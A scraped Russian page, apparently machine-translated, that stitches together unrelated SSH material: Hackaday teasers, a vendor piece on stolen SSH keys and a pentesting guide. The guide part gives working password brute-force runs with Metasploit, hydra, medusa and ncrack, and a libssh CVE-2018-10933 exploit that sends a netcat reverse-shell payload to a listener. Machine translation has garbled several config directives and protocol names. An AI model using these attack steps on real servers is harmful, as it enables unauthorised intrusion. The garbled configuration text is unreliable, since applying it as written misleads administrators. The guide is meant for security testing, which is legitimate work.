, в результате вы можете заметить, что у нас есть сеанс meterpreter на хост-машине.
Заключение: В этом посте мы попытаемся обсудить возможный способ защиты SSH и провести тестирование на проникновение в таком сценарии.
Автор : Ниша Шарма прошла обучение в области сертифицированного этического взлома и Bug Bounty Hunter. Свяжитесь с ней здесь
Ssh | Hackaday
Нет, как бы это ни выглядело, это не какой-то ранний проект Хэллоуина. Жуткое создание перед вами на самом деле является насмешливым «роботом», созданным плодовитым [Ником Билдом], актуальным заявлением о компаниях, которые просят своих удаленных сотрудников вернуться в офис теперь, когда ограничения COVID-19 сняты.Зачем ехать каждый день, когда этот ультрареалистичный аватар может сидеть вместо вас?
Хорошо, может быть, это не самое впечатляющее гуманоидное создание, которое когда-либо украшало страницы Hackaday. Но если вы хотите развернуть простую систему телеприсутствия, вы могли бы сделать похуже, чем просмотр исходного кода Python, предоставленного [Ником]. Используя Raspberry Pi 4, веб-камеру и микрофон, его клиент-серверная архитектура объединяет все, что бот видит и слышит, в простую страницу, к которой можно получить удаленный доступ с помощью веб-браузера.
Естественно, этот бот для работы из дома (WFH) не принес бы много пользы, если бы это была улица с односторонним движением, поэтому [Ник] также добавил громкоговоритель, который воспроизводит все, что он говорит на стороне клиента. Чтобы предотвратить петлю обратной связи, его программное обеспечение включает функцию, которая переключает направление аудиопотока, передавая соответствующие команды боту по SSH; изящный трюк, который нужно иметь в виду для ваших собственных, менее кошмарных творений.
Если вы ищете что-то более способное и у вас есть картон, это крепление для телеприсутствия, сделанное своими руками, для вашего телефона может быть хорошим местом для начала.
Читать далее «Этот ужасающий робот преподает вам урок» →
Если вы видите много рекламных баннеров на определенных веб-сайтах, вы знаете, что без виртуальной частной сети (VPN) хакеры быстро разрушат ваш компьютер и сожгут ваш дом. Что ж, похоже, они подразумевают именно это. На самом деле, есть две основные причины, по которым вам может понадобиться VPN-соединение. Вы, конечно, можете заплатить за услугу, но если у вас есть ssh-доступ к компьютеру где-нибудь в общедоступном Интернете, вы можете настроить свой собственный VPN-сервис без дополнительных затрат.
Основная идея заключается в том, что вы подключаетесь к удаленному компьютеру в другой сети, и это создает впечатление, что весь ваш сетевой трафик является локальным для этой сети. Первый случай — обойти или усилить безопасность. Например, вы можете захотеть распечатать на сетевом принтере, не открывая этот принтер общедоступному Интернету. Находясь в кафе, вы можете подключиться к своей сети через VPN и печатать так же, как если бы вы находились в метре от принтера на своем столе. Ваш трафик по Wi-Fi магазина также будет зашифрован.
Вторая причина — скрыть ваше местоположение от слежки. Например, если вам нравится смотреть видео BBC, но вы живете в Эквадоре, вы можете подключить VPN к сети в Великобритании, чтобы видео не блокировалось. Если местные власти контролируют и цензурируют ваш Интернет, вы также можете захотеть, чтобы ваш трафик шел откуда-то еще.
Читать далее «Linux Fu: VPN бесплатно с SSH» →
В серверном мире предрешено, что порты не должны быть доступны большему количеству Интернета, если в этом нет необходимости.Повсюду есть вредоносные боты, которые будут пытаться получить произвольный доступ ко всему, что подключено к сети, и лучше всего их полностью отключить. Если вам нужно открыть порт, например 22 для SSH, его необходимо должным образом защитить и контролировать, чтобы администратор мог его отслеживать. Обычно это делается в системном журнале и откладывается в сторону, но [Ник] хотел получить более предварительное напоминание о том, сколько попыток было сделано для входа в его систему.
Эта сборка активно отслеживает попытки входа на его сервер через порт 22 и уведомляет его с помощью цифрового дисплея и серии светодиодов.Он основан на Raspberry Pi Zero W в корпусе, напечатанном на 3D-принтере, и работает путем взаимодействия с программой под названием fail2ban
, запущенной на сервере. Основная задача fail2ban
— блокировать IP-адреса, которые не удаляют определенное количество попыток входа на сервер, но, будучи FOSS, он может быть изменен для таких ситуаций. С помощью некоторого кода Python, запущенного на Pi, он может собирать данные, передаваемые ему из fail2ban
, и отображать их.
[Ник] тоже смог увидеть немедленные результаты.В течение 24 часов он увидел 1633 попытки входа на сервер с включенным обычным входом, что сразу же отобразилось на дисплее. Видео счетчика в действии приведено по ссылке ниже. Однако вам не всегда нужен дополнительный дисплей, если вам нужна информация о вашем сервере в реальном времени. Этот сервер Pi имеет собственный дисплей, встроенный прямо в корпус.
Читать далее «Отображение входящих атак на сервер путем предоставления журналам сервера табло» →
Если у вас более одного компьютера с Linux, вы, вероятно, все время используете ssh
.Это отличный инструмент, но я всегда находил в нем что-то странное. Несмотря на наличие возможностей передачи файлов в виде scp
и sftp
, нет возможности перемещать файл назад или вперед между локальным и удаленным хостами без запуска новой программы на локальном компьютере или входа в систему с удаленного компьютера. обратно на локальную машину.
Этот последний бит представляет собой настоящую проблему, поскольку вы часто получаете доступ к серверу из-за брандмауэра или NAT-маршрутизатора с временным IP-адресом, поэтому он все равно не может повторно подключиться к вам.Было бы неплохо нажать escape-символ, выбрать локальный или удаленный файл и телепортировать его через интерфейс, и все это изнутри одного сеанса ssh
.
Я не совсем подошел к этой цели, но я подошел довольно близко. Я покажу вам сценарий, который может автоматически монтировать удаленный каталог на локальном компьютере. Вам понадобится sshfs
на локальном компьютере, но никаких изменений на удаленном компьютере, где вы, возможно, не сможете установить программное обеспечение. Приложив немного больше усилий, и если у вашего клиента запущен сервер ssh
, вы также можете смонтировать локальный каталог на удаленном компьютере.Вам не нужно беспокоиться о блокировке вашего IP-адреса или порта. Если вы можете войти на удаленную машину, все в порядке.
В совокупности это помогло мне очень близко к моей цели. Я могу работать в оболочке с любой стороны и иметь доступ для чтения или записи файлов с другой стороны. Мне просто нужно тщательно его настроить. Читать далее «Linux Fu: простой общий доступ к файлам по SSH» →
Позже в этом месяце люди, использующие GitHub, могут неожиданно получить сообщение об ошибке при попытке аутентификации с помощью GitHub API или выполнения действий в репозитории GitHub с помощью имени пользователя и пароля.Причина этого в том, что GitHub удалил эту опцию аутентификации с несколькими периодами отключения, включающими отклонение паролей, чтобы предупредить людей об этом факте.
Это изменение было первоначально объявлено GitHub в ноябре 2019 года, срок прекращения поддержки был назначен в феврале 2020 года, а еще одно обновление блога в июле повторяло эту информацию. Как отмечено там, пока это не касается только GitHub Enterprise Server. Для всех остальных с 13 ноября 2020 года для использования сервисов GitHub требуется использование токена OAuth, личного токена или ключа SSH.
Хотя это, вероятно, коснется значительного числа людей, использующих REST API и репозитории GitHub, возможно, более интересный вопрос здесь заключается в том, является ли это всего лишь началом более масштабной трансформации, уходящей от входа в службы с использованием имени пользователя и пароля.
Продолжить чтение «Отказ от паролей на GitHub: знак того, что грядет?» →
Если у вас настроен SSH и несколько других инструментов, довольно легко войти в систему на другом компьютере и запустить несколько программ.Это может быть удобно, когда вы используете машину, у которой может не быть много памяти или вычислительной мощности, и у вас есть доступ к более крупной машине где-то в сети. Например, предположим, что вы хотите перекодировать какое-то видео на коробке, которую используете в качестве медиа-сервера, но на вашем гигантском сервере с дюжиной ядер и 32 ГБ ОЗУ это будет работать намного быстрее.
Удаленное выполнение
Однако в этом сценарии есть несколько проблем. Во-первых, у вас может не быть программного обеспечения на удаленном компьютере.Даже если вы это сделаете, это может быть не та версия, которую вы ожидаете, или она может иметь не ту же конфигурацию, что и ваша локальная копия. Тогда есть проблема с файлом. входной файл должен поступать из вашей локальной файловой системы, и вы хотите, чтобы результат тоже попал туда. Конечно, это не непреодолимо. Вы можете установить программу на удаленный компьютер и копировать файлы туда и обратно вручную. Или вы можете использовать Outrun.
Однако есть несколько ограничений. Вам действительно нужен Outrun на обеих машинах, и обе машины должны иметь одинаковую архитектуру ЦП.К сожалению, это означает, что вы не можете использовать это, чтобы легко запускать задания на ПК x86-64 с Raspberry Pi. Вам также понадобится root-доступ к удаленному компьютеру. Система также зависит от наличия настроенных библиотек файловой системы FUSE.
Читать далее «Linux Fu: упрощенное удаленное выполнение» →
Если вы подключаетесь к удаленным компьютерам через Интернет, вполне вероятно, что вы используете какую-либо форму SSH или защищенную оболочку. В Linux или Unix вы будете использовать команду ssh
.То же самое и для Linux-подобных сред в Windows, таких как Cygwin или WSL. Для родной Windows вы можете использовать Putty. В своей простейшей форме ssh
— это просто программа терминала, которая общается с сервером, используя зашифрованное соединение. Мы думаем, что очень сложно подслушать кого-либо, кто общается с удаленным компьютером через ssh
.
Существует несколько уловок для использования ssh
— некоторые из них довольно просты, а некоторые из них, возможно, не относятся к области терминальной программы.Вы, наверное, знаете, что ssh
может безопасно копировать файлы, и есть простые и сложные способы настроить вход без пароля.
Однако вы также можете смонтировать удаленную файловую систему через ssh
(на самом деле есть несколько способов сделать это). Вы можете использовать ssh
для безопасного просмотра веб-страниц в вашем любимом браузере или даже использовать его для туннелирования определенного трафика по портам или даже использовать его в качестве импровизированной VPN. На самом деле, есть так много поводов для изучения, что это не последний Linux Fu, который говорит о ssh
.Но хватит настройки, давайте перейдем к хитростям.
Читать далее «Linux Fu: глупые трюки SSH» →
Продвинутые вредоносные программы и хакеры собирают ключи SSH и используют их для распространения атаки. Может распространяться на тысячи серверов за считанные минуты, вывести из строя предприятие.
КлючиSSH — это учетные данные для доступа, которые предоставляют доступ к серверам без ввода пароля. Они обычно используются для автоматизированного межмашинного доступа для передачи файлов и интеграции информационных систем.Системные администраторы Unix и Linux используют их каждый день.
Продвинутые вредоносные программы и хакеры годами собирают ключи SSH. На это есть несколько причин:
Ключи обеспечивают долговременный бэкдор, и их можно использовать для распространения атаки с одного сервера на другой — возможно, почти на все серверы предприятия, включая центры обработки данных аварийного восстановления и центры обработки данных резервного копирования.
Ключи часто предоставляют доступ к средам платежей по кредитным картам и средам финансовых данных в публичных компаниях.
Ключи обычно предоставляют root-доступ или доступ администратора, что позволяет устанавливать вредоносное ПО, компрометировать программное обеспечение или даже полностью уничтожать.
Хакеры уже много лет знают о ключах SSH. Мы поговорили с бывшим правительственным хакером, а теперь тестером на проникновение, который сказал, что всегда сначала получит все SSH-ключи. В известном взломе Sony хакеры украли учетные данные SSH и, по-видимому, использовали их для атаки. Учетные данные для аутентификации, особенно ключи SSH, являются естественной целью для злоумышленников.
Вредоносное ПО, использующее ключи SSH
Первой известной вредоносной программой для сбора ключей SSH была Careto, обнаруженная в 2014 году и предположительно созданная национальным государством. Также было много других случаев, когда вредоносные программы собирали ключи SSH и / или иным образом использовали SSH для атак:
Приведенный выше список далеко не исчерпывающий, и, вероятно, существует гораздо больше вредоносных пакетов и модулей, использующих SSH для систем, которые используются киберпреступниками, вооруженными силами и спецслужбами.
КлючSSH часто используется для копирования данных в системы резервного копирования и центры обработки данных аварийного восстановления. Они также часто используются для перенастройки различных маршрутизаторов и систем при переходе на использование центра обработки данных аварийного восстановления. Это означает, что ключи SSH обычно могут использоваться для распространения атаки на эти системы, если только граф транзитивного доступа не был тщательно продуман.
Распространение с использованием ключей SSH
Мы обнаружили, что в большинстве крупных организаций ключей SSH во много раз превышает количество серверов или учетных записей пользователей.Например, в одном типичном финансовом учреждении мы обнаружили 3 миллиона ключей SSH, предоставляющих доступ к 15 000 серверов. Это в среднем 200 ключей на сервер.
Как только злоумышленник взламывает один сервер, весьма вероятно, что злоумышленник найдет один или несколько закрытых ключей от этого исходного сервера. Затем злоумышленник может использовать эти обнаруженные закрытые ключи для входа на другие серверы — обычно более одного — и снова найти закрытые ключи с этих серверов. Повторение этого быстро распространяет нарушение и раскрывает все больше и больше целевой сети.
Использование неуправляемых ключей SSH позволяет злоумышленнику установить и расширить свою точку опоры в целевых сетях, и подобная атака может быстро распространиться почти на всю среду.
Что могут делать вредоносные программы и их хозяева с ключами и доступом
Когда злоумышленники получают ключи SSH, которые предоставляют доступ к системе, они получают доступ к системе на уровне операционной системы, обычно через командную строку. В нашем анализе реальных развертываний мы увидели, что примерно 10% всех ключей SSH предоставляют root-доступ.Для злоумышленников root-привилегии разрешают неограниченный доступ ко всем аспектам системы. В случаях, когда ключи SSH разрешают доступ без полномочий root, злоумышленники обычно пытаются объединить локальные атаки, используя уязвимости в программном обеспечении и / или операционной системе на сервере, чтобы повысить привилегии до root.
Как только злоумышленник получит root-доступ, все станет возможным. Злоумышленник может изменить операционную систему, установить вредоносное ПО в BIOS или прошивку (например, форму виртуализированного руткита), изменить операционную систему или любые запущенные в ней службы.Злоумышленник может даже повредить систему и ее данные без возможности восстановления, удалив BIOS, микропрограмму жесткого диска и микропрограмму сетевого адаптера. Доступ с правами root обычно дает злоумышленнику полный контроль над системой.
Даже без корневого доступа злоумышленники могут читать и изменять любые данные, доступные для учетных записей, к которым у них есть доступ. Например, доступ к учетной записи службы базы данных Oracle может предоставить прямое чтение и изменение доступа к необработанным файлам базы данных и к памяти процесса сервера базы данных, минуя все журналы на уровне базы данных, средства контроля безопасности и проверки целостности.Это позволяет извлекать данные, нарушать шифрование, вставлять мошеннические данные, а также повреждать или уничтожать базу данных.
Атака с использованием ключей SSH для распространения по предприятию может вывести цель из строя на несколько месяцев. Или страна, если нацелена на ее критически важную инфраструктуру.
Инструменты тестирования на проникновение, такие как Cobalt Strike / Armitage, включают модули для использования ключей SSH в атаках. Эти инструменты высокопроизводительны и просты в использовании. Они автоматизируют некоторые ручные задачи, связанные с атаками.Они были разработаны таким образом, чтобы их можно было использовать даже людям без обширных технических знаний. Существование и дизайн этих инструментов указывают на высокую ценность ключей SSH в качестве целей. Настоящие средства атаки выполняют аналогичные атаки гораздо более скрытно.
SSH-ключи ценны. В одном из публичных случаев ключ был продан за 50 биткойнов и использован для проникновения в организацию и кражи биткойнов на бирже криптовалют. Объем черного рынка украденных ключей SSH (и портов обратного туннелирования в соответствующие интрасети) в настоящее время неизвестен.Известный факт, что определенные правительственные сайты подвергаются постоянным атакам, когда против них пробуют различные SSH-ключи. Злоумышленники пытаются взломать замок полученными ключами.
Как хакеры получают доступ к интрасети, даже когда они защищены брандмауэрами
Для использования ключей SSH требуется соединение TCP / IP с сервером. Распространенное заблуждение состоит в том, что проблема не будет такой серьезной во внутренних сетях, как в общедоступном Интернете. Это ошибочное предположение по нескольким причинам:
Злоумышленники часто уже внутри защищенной сети (лично, через соединение или с помощью вредоносного ПО).Было много случаев, когда ключи SSH были украдены, проданы или использованы сотрудниками не по назначению.
Злоумышленники обычно используют переадресацию портов. Большинство брандмауэров не могут предотвратить это, а те, которые это делают, имеют очень ограниченную функциональность.
Что делать?
Риски, связанные с плохо управляемыми ключами SSH, можно значительно снизить за счет надлежащих процессов предоставления и завершения доступа, развертывания инструментов управления ключами и регулярных аудитов.
NIST IR 7966 — это рекомендации правительства США по работе с ключами SSH.
Наша страница управления ключами SSH содержит дополнительную информацию о рисках, процессе и подходах к проектам управления ключами SSH.
Прочтите о требованиях соответствия, связанных с ключами SSH.
SSH Risk Assessment — это быстрая и недорогая услуга, которая помогает количественно определять и оценивать состояние управления ключами SSH в организации и связанные с этим риски.
Universal SSH Key Manager® — это ведущий инструмент для управления ключами SSH: обнаружение, блокировка, исправление, мониторинг и создание эффективных процессов инициализации и завершения для ключей.Это позволяет командам приложений взять на себя входящий и исходящий доступ к своим информационным системам, дает группам безопасности общий обзор среды и способствует беспрепятственному аудиту.
Кроме того, важно контролировать переадресацию портов SSH в организацию, поскольку это упрощает использование украденных ключей и иным образом проникновение в организацию.
Дополнительные ссылки
Руководство по пентестированиюSSH — Сообщество TurgenSec
В этом руководстве я буду:
- Кратко познакомьтесь с протоколом SSH и его реализациями.
- Выявите некоторые распространенные ошибки конфигурации, а затем продемонстрируйте некоторые атаки на протокол и его реализации.
- Представьте несколько инструментов для тестирования на проникновение SSH и синей команды.
- Дайте стандартный справочник руководств по безопасности и, наконец, расскажите о статье, которую я ранее написал на тему поворота сети.
Если вы хотите предложить поправку или внести свой вклад в эту статью, отправьте нам электронное письмо по адресу [адрес электронной почты защищен]. Мы также сделаем все возможное, чтобы распространять дополнения и предложения из социальных сетей!
Turgensec обеспечивает экономически эффективное индивидуальное тестирование безопасности и защиты для частных лиц и организаций.
Наши предложения услуг включают тестирование на проникновение, контрразведку с открытым исходным кодом, разведку с открытым исходным кодом и управление цифровыми активами. Свяжитесь с нами, нажав здесь.
Что такое SSH и SFTP?
SSH — это защищенный протокол удаленной оболочки, используемый для безопасной работы сетевых служб
по незащищенной сети. Порт SSH по умолчанию — 22, обычно он открыт на серверах в Интернете или интрасети.
SFTP — это протокол передачи файлов SSH, протокол, используемый для передачи файлов через соединение SSH.Большинство реализаций SSH также поддерживают SFTP.
SSH серверов / библиотеки
Самый известный и распространенный сервер и клиент SSH — openSSH ( OpenBSD Secure Shell ). Это надежная реализация, которая поддерживается в хорошем состоянии и была впервые выпущена в 1999 году. Так что это реализация, которую вы чаще всего встретите в BSD, Linux и даже Windows, поскольку она поставляется в Windows, начиная с Windows 10.
Но openSSH не единственная реализация, вот и другие:
SSH-серверов:
- openSSH — OpenBSD SSH, поставляется в дистрибутивах BSD, Linux и Windows, начиная с Windows 10
- Dropbear — реализация SSH для сред с малым объемом памяти и ресурсов процессора, поставляется в OpenWrt
- PuTTY — реализация SSH для Windows, обычно используется клиент, но реже используется сервер
- CopSSH — реализация OpenSSH для Windows
Библиотеки SSH (реализация на стороне сервера):
- libssh — мультиплатформенная библиотека C, реализующая протокол SSHv2 с привязками в Python, Perl и R; он используется KDE для sftp и GitHub для инфраструктуры git SSH
- wolfSSH — серверная библиотека SSHv2, написанная на ANSI C и предназначенная для встраиваемых систем, ОСРВ и сред с ограниченными ресурсами
- Apache MINA SSHD — Java-библиотека Apache SSHD основана на Apache MINA
- paramiko — библиотека протокола Python SSHv2
Типичные ошибки конфигурации
Root логин
По умолчанию большинство реализаций SSH-серверов разрешают вход в систему с правами root, рекомендуется отключить его, потому что в случае утечки учетных данных этой учетной записи злоумышленники получат административные привилегии напрямую, и это также позволит злоумышленникам проводить атаки грубой силы на эту учетную запись.
Как отключить вход root для openSSH:
- Изменить конфигурацию сервера SSH
sudoedit / etc / ssh / sshd_config
- Измените
#PermitRootLogin да
наPermitRootLogin нет
- Принять во внимание изменения конфигурации:
sudo systemctl daemon-reload
- Перезагрузите SSH-сервер
sudo systemctl restart sshd
Выполнение команды SFTP
Другая распространенная неправильная конфигурация SSH часто встречается в конфигурации SFTP.В большинстве случаев при создании сервера SFTP администратор хочет, чтобы пользователи имели доступ по протоколу SFTP для обмена файлами, но не получали удаленную оболочку на машине. Таким образом, они думают, что создания пользователя, присвоения ему оболочки-заполнителя (например, / usr / bin / nologin
или / usr / bin / false
) и его исключения в тюрьме достаточно, чтобы избежать доступа к оболочке или злоупотребления ею. вся файловая система. Но они ошибаются: пользователь может попросить выполнить команду сразу после аутентификации до того, как будет выполнена команда или оболочка по умолчанию.Таким образом, чтобы обойти оболочку заполнителя, которая будет запрещать доступ к оболочке, нужно только попросить выполнить команду (например, / bin / bash
) раньше, просто выполнив:
$ ssh -v [защищенный адрес электронной почты] идентификатор
...
Пароль:
debug1: аутентификация прошла успешно (интерактивная клавиатура).
Аутентифицирован на 192.168.1.94 ([192.168.1.94]: 22).
debug1: канал 0: новый [клиент-сеанс]
debug1: Запрос [электронная почта защищена]
debug1: вход в интерактивный сеанс.
debug1: залог: сеть
debug1: client_input_global_request: rtype [электронная почта защищена] want_reply 0
debug1: отправка команды: id
debug1: client_input_channel_req: канал 0 rtype ответ статуса выхода 0
debug1: client_input_channel_req: канал 0 rtype [электронная почта защищена] ответ 0
uid = 1000 (noraj) gid = 100 (пользователи) группы = 100 (пользователи)
debug1: channel 0: free: client-session, nchannels 1
Передано: отправлено 2412, получено 2480 байт, в 0.1 секунда
Байт в секунду: отправлено 43133,4, получено 44349,5
debug1: статус выхода 0
$ ssh [адрес электронной почты защищен] / bin / bash
Вот пример безопасной конфигурации SFTP ( / etc / ssh / sshd_config
— openSSH) для пользователя noraj
:
Match User noraj
ChrootDirectory% h
ForceCommand внутренний sftp
AllowTcpForwarding нет
РазрешениеТуннель нет
X11 Нет пересылки
РАЗРЕШЕНИЕ №
Эта конфигурация разрешит только SFTP: отключение доступа к оболочке путем принудительного запуска команды и отключения доступа TTY, но также отключение всех видов переадресации или туннелирования портов.
Методы аутентификации
В среде с высоким уровнем безопасности обычной практикой является включение только аутентификации на основе ключа или двухфакторной аутентификации, а не аутентификации на основе простого факторного пароля. Но часто более строгие методы аутентификации включаются без отключения более слабых. Частым случаем является включение публичного ключа
в конфигурации openSSH и установка его в качестве метода по умолчанию, но не отключение пароля
. Таким образом, используя подробный режим клиента SSH, злоумышленник может увидеть, что включен более слабый метод:
$ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 сен 2019
...
debug1: аутентификация, которая может продолжаться: открытый ключ, пароль, интерактивная клавиатура
Например, если установлен предел ошибок аутентификации, и у вас никогда не будет возможности достичь метода пароля, вы можете использовать параметр PreferredAuthentication
, чтобы принудительно использовать этот метод.
$ ssh -v 192.168.1.94 -o PreferredAuthentication = пароль
...
debug1: Следующий метод аутентификации: пароль
Проверьте конфигурацию сервера SSH, чтобы убедиться, что разрешены только ожидаемые методы
.Использование подробного режима на клиенте может помочь увидеть
эффективность конфигурации.
Атака витрина
Теперь мы рассмотрим набор примеров атак, которые вы можете воспроизвести на некоторых реализациях SSH-серверов.
Подбор пароля / атака перебором
Теперь я опробую улучшенный вариант «грубой силы» пароля пользователя SSH со словарем паролей с использованием четырех инструментов: фреймворка metasploit
, гидры , medusa и ncrack
.
Во всех случаях мы нацелены на машину 192.168.1.94
, на порт 22, и будем подбирать только пароль пользователя noraj
.
Прочтите приведенные ниже справочные сообщения, если вы не понимаете аргумент / вариант.
Metasploit
С Metasploit:
$ msf5> поиск по ssh
Соответствующие модули
================
№ Название Дата раскрытия информации Рейтинг Проверка Описание
- ---- --------------- ---- ----- -----------
...
17 вспомогательный / сканер / ssh / ssh_login нормальный Да Сканер проверки входа в систему через SSH
...
msf5> используйте 17
вспомогательный msf5 (сканер / ssh / ssh_login)> показать параметры
Параметры модуля (вспомогательный / сканер / ssh / ssh_login):
Имя Текущая настройка Требуется Описание
---- --------------- -------- -----------
BLANK_PASSWORDS false нет Попробуйте пустые пароли для всех пользователей
BRUTEFORCE_SPEED 5 да Скорость перебора, от 0 до 5
DB_ALL_CREDS false нет Попробуйте каждую пару пользователь / пароль, хранящуюся в текущей базе данных
DB_ALL_PASS false нет Добавить в список все пароли из текущей базы данных
DB_ALL_USERS false нет Добавить всех пользователей в текущей базе данных в список
ПАРОЛЬ нет Конкретный пароль для аутентификации с помощью
PASS_FILE нет Файл, содержащий пароли, по одному на строку
RHOSTS да Целевой хост (ы), диапазон идентификаторов CIDR или файл хостов с синтаксисом 'file: '
RPORT 22 да Целевой порт
STOP_ON_SUCCESS false yes Прекратить угадывать, когда учетные данные работают для хоста
THREADS 1 yes Количество параллельных потоков (максимум один на хост)
ИМЯ ПОЛЬЗОВАТЕЛЯ нет Определенное имя пользователя для аутентификации как
USERPASS_FILE нет Файл, содержащий пользователей и пароли, разделенные пробелом, по одной паре в строке
USER_AS_PASS false нет Попробуйте использовать имя пользователя в качестве пароля для всех пользователей
USER_FILE нет Файл, содержащий имена пользователей, по одному в каждой строке
VERBOSE false да Следует ли печатать вывод для всех попыток
Вспомогательный msf5 (сканер / ssh / ssh_login)> установить PASS_FILE / usr / share / wordlists / password / rockyou.текст
PASS_FILE => /usr/share/wordlists/password/rockyou.txt
вспомогательный msf5 (scanner / ssh / ssh_login)> установить RHOSTS 192.168.1.94
RHOSTS => 192.168.1.94
msf5 вспомогательный (scanner / ssh / ssh_login)> установить THREADS 10
РЕЗЬБЫ => 10
Вспомогательный msf5 (сканер / ssh / ssh_login)> установить STOP_ON_SUCCESS true
STOP_ON_SUCCESS => верно
Вспомогательный msf5 (scanner / ssh / ssh_login)> установить имя пользователя noraj
имя пользователя => noraj
вспомогательный msf5 (сканер / ssh / ssh_login)> запустить
[+] 192.168.1.94:22 - Успех: 'noraj: noraj' ''
[*] Открыт сеанс командной оболочки 1 (192.168.1.83: 37291 -> 192.168.1.94:22) в 2020-01-02 21:33:33 +0100
[*] Просканирован 1 из 1 хоста (выполнено 100%)
[*] Выполнение вспомогательного модуля завершено
Гидра
с Hydra:
$ hydra -l noraj -P /usr/share/wordlists/password/rockyou.txt -e s ssh: //192.168.1.94
Hydra v9.0 (c) 2019, автор van Hauser / THC - Пожалуйста, не используйте в военных или секретных службах, а также в незаконных целях.
Гидра (https://github.com/vanhauser-thc/thc-hydra) с 02.01.2020 21:44:28
[ПРЕДУПРЕЖДЕНИЕ] Многие конфигурации SSH ограничивают количество параллельных задач, рекомендуется уменьшить количество задач: используйте -t 4
[ДАННЫЕ] не более 16 задач на 1 сервер, всего 16 задач, 14344399 попыток входа в систему (l: 1 / p: 14344399), ~ 896525 попыток на задачу.
[DATA] атакует ssh: // 192.168.1.94: 22 /
[22] [ssh] хост: 192.168.1.94 логин: noraj пароль: noraj
1 цель из 1 успешно выполнена, найден 1 действительный пароль
Hydra (https://github.com/vanhauser-thc/thc-hydra) завершена 02.01.2020 21:44:33
Выдержка из справочного сообщения:
-l ЛОГИН или -L ФАЙЛ войти с именем ЛОГИНА, или загрузить несколько логинов из ФАЙЛА
-p PASS или -P FILE попробовать пароль PASS или загрузить несколько паролей из FILE
-e nsr попробовать "n" нулевой пароль, "s" войти как пароль и / или "r" изменить вход
обслужить службу для взлома (поддерживаемые протоколы см. ниже)
Медуза
С Медузой:
$ medusa -h 192.168.1.94 -u noraj -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[электронная почта защищена]>
ПРОВЕРКА УЧЕТНОЙ ЗАПИСИ: [ssh] Хост: 192.168.1.94 (1 из 1, 0 завершено) Пользователь: noraj (1 из 1, 0 выполнено) Пароль: noraj (1 из 14344391 завершено)
ОБНАРУЖЕН СЧЕТ: [ssh] Хост: 192.168.1.94 Пользователь: noraj Пароль: noraj [УСПЕХ]
Выдержка из справочного сообщения:
-h [ТЕКСТ]: имя целевого хоста или IP-адрес.
-u [ТЕКСТ]: имя пользователя для тестирования
-P [ФАЙЛ]: файл, содержащий пароли для проверки.
-e [n / s / ns]: дополнительная проверка пароля ([n] без пароля, [s] пароль = имя пользователя)
-M [ТЕКСТ]: имя модуля для выполнения (без расширения.расширение мода)
Ncrack
С ncrack:
$ ncrack --user noraj -P /usr/share/wordlists/password/rockyou.txt ssh: //192.168.1.94
Запуск Ncrack 0.7 (http://ncrack.org) в 2020-01-02 21:50 CET
Обнаружены учетные данные для ssh на 192.168.1.94 22 / tcp:
192.168.1.94 22 / TCP SSH: 'норадж' норадж '
Ncrack done: 1 сервис просканирован за 3,00 секунды.
Ncrack закончил.
Выдержка из справочного сообщения:
-P <имя файла>: файл паролей
--user : список имен пользователей, разделенных запятыми
Эксплойт - LibSSH RCE
CVE-2018-10933 - это ссылка на уязвимость, затрагивающую библиотеку libssh.Эта уязвимость позволяет неавторизованный доступ в обход аутентификации.
libssh версии 0.6 и выше имеют уязвимость обхода аутентификации в коде сервера. Представив серверу сообщение SSh3_MSG_USERAUTH_SUCCESS вместо сообщения SSh3_MSG_USERAUTH_REQUEST, которое сервер ожидает инициировать аутентификацию, злоумышленник может успешно пройти аутентификацию без каких-либо учетных данных. Консультативный
Когда вы найдете уязвимую версию с nmap
, вы должны увидеть что-то вроде этого:
22 / tcp открыть ssh libssh 0.8.3 (протокол 2.0)
searchsploit
(инструмент, используемый для локального просмотра Exploit-DB) показывает существующие эксплойты, доступные для libssh
.
searchsploit libssh
-------------------------------------------------- ------------------------------------------ -------- --------------------------------
Название эксплойта | Дорожка
| (/ usr / share / exploitdb /)
-------------------------------------------------- ------------------------------------------ -------- --------------------------------
LibSSH 0.7.6 / 0.8.4 - Несанкционированный доступ | эксплойты / Linux / удаленный / 46307.py
libSSH - Обход аутентификации | эксплойты / Linux / удаленный / 45638.py
-------------------------------------------------- ------------------------------------------ -------- --------------------------------
Шелл-коды: нет результата
Итак, мы можем использовать эксплойт для выполнения команды на цели, чтобы убедиться, что она работает.
$ python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 идентификатора
uid = 0 (корень) gid = 0 (корень) группы = 0 (корень)
Вместо того, чтобы просто запустить команду, мы можем попробовать выполнить обратную оболочку.
Сначала мы запускаем слушатель на нашей машине: sudo ncat -nlp 80
.
Затем мы используем полезную нагрузку обратной оболочки sh в эксплойте:
python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 "rm / tmp / f; mkfifo / tmp / f; cat / tmp / f | / bin / sh -i 2> & 1 | NC 192.168.1.100 80> / tmp / f "
Фаззинг
Поскольку фаззинг сложен, я выделю только два подхода:
- Универсальный и автоматизированный.
- Специальное и руководство.
Общий и автоматизированный подход
Можно использовать сценарий вроде sshfuzz.pl для автоматического фазирования работающего SSH-сервера независимо от его реализации.
Преимущество этого метода в том, что он прост, но он не очень адресный, поэтому он займет много времени и упустит много результатов.
Установить зависимости и запустить скрипт так же просто, как написать эти две строки:
$ cpan Net :: СШ3
$ ./sshfuzz.pl -H 192.168.1.94 -P 22 -u noraj -p noraj
Другой автоматизированный подход, который также будет работать на любом реальном SSH-сервере, - это использование модуля metasploit a вспомогательный / fuzzers / ssh / ssh_version_2
:
msf5> используйте вспомогательные / фаззеры / ssh / ssh_version_2
вспомогательный msf5 (фаззеры / ssh / ssh_version_2)> установить RHOSTS 192.168.1,94
Вспомогательный msf5 (фаззеры / ssh / ssh_version_2)> запустить
[*] Запуск модуля против 192.168.1.94
[*] 192.168.1.94:22 - Фаззинг с итерацией 100 с использованием fuzzer_string_giant
[*] 192.168.1.94:22 - Фаззинг с итерацией 200 с использованием fuzzer_string_giant
[*] 192.168.1.94:22 - Фаззинг с итерацией 300 с использованием fuzzer_string_long
[*] 192.168.1.94:22 - Фаззинг с итерацией 400 с использованием fuzzer_string_long
[*] 192.168.1.94:22 - Фаззинг с итерацией 500 с использованием fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Фаззинг с итерацией 600 с использованием fuzzer_string_paths_giant
